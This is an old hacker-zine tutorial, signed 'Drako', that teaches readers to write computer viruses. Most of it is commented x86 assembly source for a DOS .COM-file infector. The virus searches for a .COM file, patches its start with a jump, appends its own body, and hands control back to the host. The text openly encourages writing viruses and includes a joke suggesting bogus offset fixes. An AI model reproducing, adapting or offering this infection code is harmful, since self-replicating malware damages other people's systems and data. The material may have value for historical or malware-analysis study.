319 lines
13 KiB
Plaintext
319 lines
13 KiB
Plaintext
Virus programming (basics) #1...
|
||
-----------------------------------------------------------------
|
||
This section is dedicated to those who would like to write a
|
||
virus, but don't have the knowledge to do so. First of all,
|
||
writing a virus is no big deal. It is an easy project, but one
|
||
which requires some basic programming skills, and the desire to
|
||
write a virus! If either of these is missing, writing a virus
|
||
would be tedious indeed!.
|
||
|
||
Well, if you meet these requisites, keep reading this article....
|
||
|
||
JE READ
|
||
JNE FUCK_YOU!
|
||
READ:
|
||
|
||
The survival of a virus is based in its ability to reproduce. "So
|
||
how the fuck do I make a program reproduce?", you might ask.
|
||
Simple, by getting it to copy itself to other files....
|
||
|
||
The functional logic of a virus is as follows:
|
||
|
||
1- Search for a file to infect
|
||
2- Open the file to see if it is infected
|
||
3- If infected, search for another file
|
||
4- Else, infect the file
|
||
5- Return control to the host program.
|
||
|
||
The following is an example of a simple virus:
|
||
|
||
;****************************************************************
|
||
; START OF THE EXAMPLE:
|
||
;****************************************************************
|
||
;Warning, this example is a (piece of shit?)
|
||
; - The virus does not test for prior infection
|
||
; - it searches only for the first .COM file in the current
|
||
; directory
|
||
;
|
||
; Careful when executing this file, since the first time it's
|
||
; executed it will search for and infect the first file in the
|
||
; directory. If we later run the newly infected file, it will find
|
||
|
||
; the first file in its directory, itself. Thus, it will re-infect
|
||
|
||
; itself over and over.
|
||
;===================CODIGO=======================================
|
||
;(The variables in a .COM file are relative to offset 100h).
|
||
|
||
codigo segment 'code'
|
||
org 100h ;Organize all the code starting
|
||
; from offset 100h
|
||
assume cs:codigo,ds:codigo,es:codigo ;Define the use of the
|
||
;segments
|
||
|
||
start proc far ;Start the routine
|
||
COMIENZO:
|
||
push cs ;Store CS
|
||
push cs ;Store CS
|
||
; once again.
|
||
pop ds ;Bring DS out from stack
|
||
pop es ;Bring ES out from stack
|
||
|
||
call falso_proc ;Call proc. so that its
|
||
; address is placed in the stack
|
||
falso_proc proc near
|
||
falso_proc endp
|
||
|
||
pop bp ;BP<== Proc. address.
|
||
sub bp, 107h ;BP<== BP - Previous directory
|
||
|
||
|
||
;This is done to take the variables relative to BP, since the
|
||
;infection displaces the variables at exactly the length of the
|
||
; file. At the first infection, instruction "SUB BP, 107h" is
|
||
; 107h, so that the contents of BP is 0; when I call a variable
|
||
; with "BP+VARIABLE" the value of the variable's address is not
|
||
; modified. When I load it , for example, from a 100h byte
|
||
; infected file, the instruction "SUB BP, 107h" leaves me at
|
||
; address 207h which means BP=100h, the size of the original file.
|
||
; Had I called the variable without adding BP, I would have been
|
||
; short by 100h bytes.
|
||
|
||
|
||
;Find the first .COM file in the directory
|
||
-----------------------------------------
|
||
mov ah, 4eh ;Search for the 1st file
|
||
lea dx, bp+file_inf ;DS:DX= offset of FILE_INF
|
||
;(*.*) so it will search all
|
||
;the files, including directory
|
||
;names with extensions.
|
||
mov cx, 0000h ;Entry attributes
|
||
int 21h
|
||
|
||
;These attributes mentioned in the commentary are the directory's
|
||
; entry attributes. When I set the attributes to 0, I'm telling
|
||
; DOS to search normal files. If I include a bit combination which
|
||
|
||
; provides the Hidden, System or Directory attributes, DOS will
|
||
; search for files with those attributes, as well as the normal
|
||
; files. If the search range includes the Volume bit, the search
|
||
; is limited to that.
|
||
|
||
;These are the bits which correspond to each attribute:
|
||
;Bits: 7 6 5 4 3 2 1 0
|
||
; . . . . . . . 1 Bit 0: Read only
|
||
; . . . . . . 1 . Bit 1: Hidden
|
||
; . . . . . 1 . . Bit 2: System
|
||
; . . . . 1 . . . Bit 3: Volume
|
||
; . . . 1 . . . . Bit 4: Directory
|
||
; . . 1 . . . . . Bit 5: File
|
||
;
|
||
;Bits 6 and 7 are not used as they are reserved for "future
|
||
; applications".
|
||
|
||
;Open file
|
||
;----------------------------------------------------------------
|
||
mov ah, 3dh ;Open the file.
|
||
mov al, 00000010b ;read/write.
|
||
mov dx, 009eh ;DX<== DTA(filename) offset
|
||
int 21h ;put the handle in AX
|
||
push ax ;and store in stack.
|
||
|
||
;The attributes I'm setting in AL are not the same as before.
|
||
; These are the "open" attributes. We are only interested in the
|
||
; first 3 bits,
|
||
|
||
;bits 2 1 0:
|
||
;
|
||
; 0 0 0 Read only mode
|
||
; 0 0 1 Write only mode
|
||
; 0 1 0 Read/Write mode
|
||
;
|
||
;OK, we now have the file attributes stored in AL. What we now
|
||
; need to do is to store in DX the offset of the variable where
|
||
; I've stored the ASCIIZ chain with the name of the file to be
|
||
; opened. In this case, we don't have a NAME_OF_FILE variable.
|
||
; Instead, the name is located in the DTA (Disk Transfer Area). I
|
||
; we have it in the DTA...... Why? Simply because when we search
|
||
|
||
; for a file to infect, all the information we need is returned to
|
||
; this memory area. This buffer, if it was not reset, is found in
|
||
; the PSP; more precisely, it starts at offset 80h and is 43d bytes
|
||
|
||
; in size.
|
||
;
|
||
;The DTA format is as follows:
|
||
;
|
||
;Offset Bytes Function
|
||
; 00h 21d Used by DOS for the 4fh service
|
||
; (search for the next file)
|
||
; 15h 01d Attributes of the file that's been found
|
||
; 16h 02d File time
|
||
; 18h 02d File date
|
||
; 1Ah 04d File size in bytes
|
||
; 1Eh 13d File name in an ASCIIZ chain
|
||
; (FILENAME.EXT),0
|
||
;
|
||
;Well, all that remains to be doe is to give DX the position in
|
||
; memory where I've stored the filename: "MOV DX, E1h" and its's
|
||
; done. But careful now, remember that DTA starts at offset 80h,
|
||
|
||
; which means I have to pass to DX the value "80h+1Eh = 9Eh". That
|
||
|
||
; would than leave "MOV DX, 9Eh"; the problem is solved. Now you
|
||
are probably asking yourselves what I mean by "handle". The handle
|
||
is a number which tells DOS which file we want. DOS gives us a
|
||
handle for each file we open so we have to be careful to have the
|
||
correct handle for each file which we read/write.
|
||
|
||
;Read the first 3 bytes.
|
||
-----------------------------------------------------
|
||
pop bx ;I take the handle from the
|
||
;stack to BX
|
||
push bx ;and I store it again.
|
||
mov ah, 3fh ;Read file.
|
||
mov cx, 0003h ;Read 3 bytes.
|
||
lea dx, bp+buffer ;and store in the buffer.
|
||
int 21h
|
||
|
||
INFECTAR: ;(infect)
|
||
;Move pointer to the start.
|
||
---------------------------------------------------
|
||
mov ax, 4200h ;I move the write pointer
|
||
;to the beginning of the program
|
||
mov cx, 0000h
|
||
mov dx, 0000h
|
||
int 21h
|
||
|
||
;The pointer's displacement, relative to the position of the
|
||
; pointer as specified in AL, is placed in CX and DX.
|
||
; Pointer displacement modes set in AL:
|
||
; AL <== 00 Move pointer to the beginning of the file.
|
||
; AL <== 01 leave pointer where it is.
|
||
; AL <== 02 Move pointer to end-of-file.
|
||
|
||
;Write the first byte (jmp)
|
||
-------------------------------------------------
|
||
mov ah, 40h ;write the first byte.
|
||
mov cx, 1d ;Quantity=1.
|
||
lea dx, bp+jump ;DX<== JUMP offset
|
||
int 21h
|
||
|
||
;(Here we still need the handle, but we don't need to set it again
|
||
; because the register which contained the information was not
|
||
; modified.
|
||
;
|
||
;The first byte to be written is a JUMP instruction (the symbol for
|
||
|
||
; the jump is below). What follows the jump is the address of the
|
||
; jump, file-length + 1. (test the "+ 1" thoroughly, since this
|
||
; can cause problems; if so, multiply by 18 or subtract 23.)
|
||
; Hehehehe.
|
||
;Since the entire virus code is copied at the end of the file, the
|
||
; jump gives the virus control in an infected file.
|
||
|
||
;Calculating file length
|
||
-------------------------------------------------
|
||
mov cx, 2 ;Copy 2 bytes.
|
||
mov si, 009ah ;SI<== DTA offset
|
||
lea di, bp+longitud ;DI<== File LENGTH offset.
|
||
rep movsb ;Copy.
|
||
|
||
|
||
;This instruction must have the 'SOURCE' buffer address in DS:SI
|
||
; and the address where the string will be copied in ES:DI (in this
|
||
|
||
; case, I copy the file length of the DTA to the variable
|
||
; 'LONGITUD').
|
||
|
||
|
||
sub word ptr [bp+longitud], 3 ;subtract 3 bytes from
|
||
;[LONGITUD]
|
||
|
||
;The JMP is completed
|
||
--------------------------------------
|
||
mov ah, 40h ;Write.
|
||
mov cx, 2d ;Number of bytes.
|
||
lea dx, bp+longitud ;DX<== LONGITUD (length)
|
||
; offset
|
||
int 21h
|
||
|
||
;Move pointer to end
|
||
-------------------------------------------------------
|
||
mov ax, 4202h ;Move the write pointer to the
|
||
;end of the program.
|
||
mov cx, 0000h
|
||
mov dx, 0000h
|
||
int 21h
|
||
add word ptr [bp+longitud],3 ;Restore LONGITUD.
|
||
|
||
;Copy the virus to the program.
|
||
---------------------------------------------------
|
||
pop bx ;Restore the handle.
|
||
mov ah, 40h
|
||
mov cx, 190d ;number of bytes to copy.
|
||
lea dx, bp+comienzo ;Start copying from....
|
||
int 21h
|
||
|
||
;Close the file after infection
|
||
------------------------------------
|
||
mov ah, 3eh ;Close file.
|
||
int 21h
|
||
|
||
;Here, too, we need in DS:DX the address of the buffer which
|
||
; contains the filename string, but in this case DS and DX already
|
||
; contain those values from before.
|
||
|
||
NO_INFECTAR:
|
||
|
||
;==================RETURN CONTROL TO THE HOST=====================
|
||
;Copy the buffer which contains the first 3 bytes of the file into
|
||
; memory.
|
||
------------------
|
||
mov cx, 0003h ;Number of bytes (3).
|
||
mov di, 0100h ;DI<== offset 100h. Beginning of the
|
||
;program in memory.
|
||
lea si, bp+buffer ;SI<== BUFFER offset
|
||
rep movsb ;Copy.
|
||
|
||
;What we are doing here is to "fix" the file, since when it was
|
||
; infected, the first few bytes are overwritten by the virus. That
|
||
|
||
; is why we reconstruct the file to its original state, by copying
|
||
; the first 3 bytes, which we had stored earlier, into memory.
|
||
|
||
;Jump to offset 100h
|
||
--------------------------------------------------------
|
||
|
||
mov ax, 0100h ;Address needed to execute the host
|
||
jmp ax
|
||
|
||
;As we mentioned before, in .COM files the executable code begins
|
||
; at offset 100h. The information found between 00h and 100h is
|
||
; program data, like the DTA for example.
|
||
|
||
;The main difference between a .COM file and an .EXE is that a .COM
|
||
; cannot occupy more than one memory segment, or 65535 bytes.
|
||
; .EXEs can, because DOS can 'tailor' them to fit into a number of
|
||
; different segments. Unlike.EXE files. .COM files are faithful
|
||
; reproductions of the contents of memory.
|
||
|
||
;====================DATA AREA===================================
|
||
|
||
buffer db 7d dup(0)
|
||
longitud db 2 dup(0)
|
||
file_inf db '*.COM',0
|
||
jump db '<27>',0 ;<----jump ascii
|
||
|
||
;(The character '0' is the end of the ASCIIZ string)
|
||
|
||
start endp ;End of main procedure
|
||
codigo ends ;end of code segment
|
||
end comienzo ;END. Go to COMIENZO
|
||
|
||
;****************************************************************
|
||
; END OF EXAMPLE
|
||
;****************************************************************
|
||
Drako.
|
||
|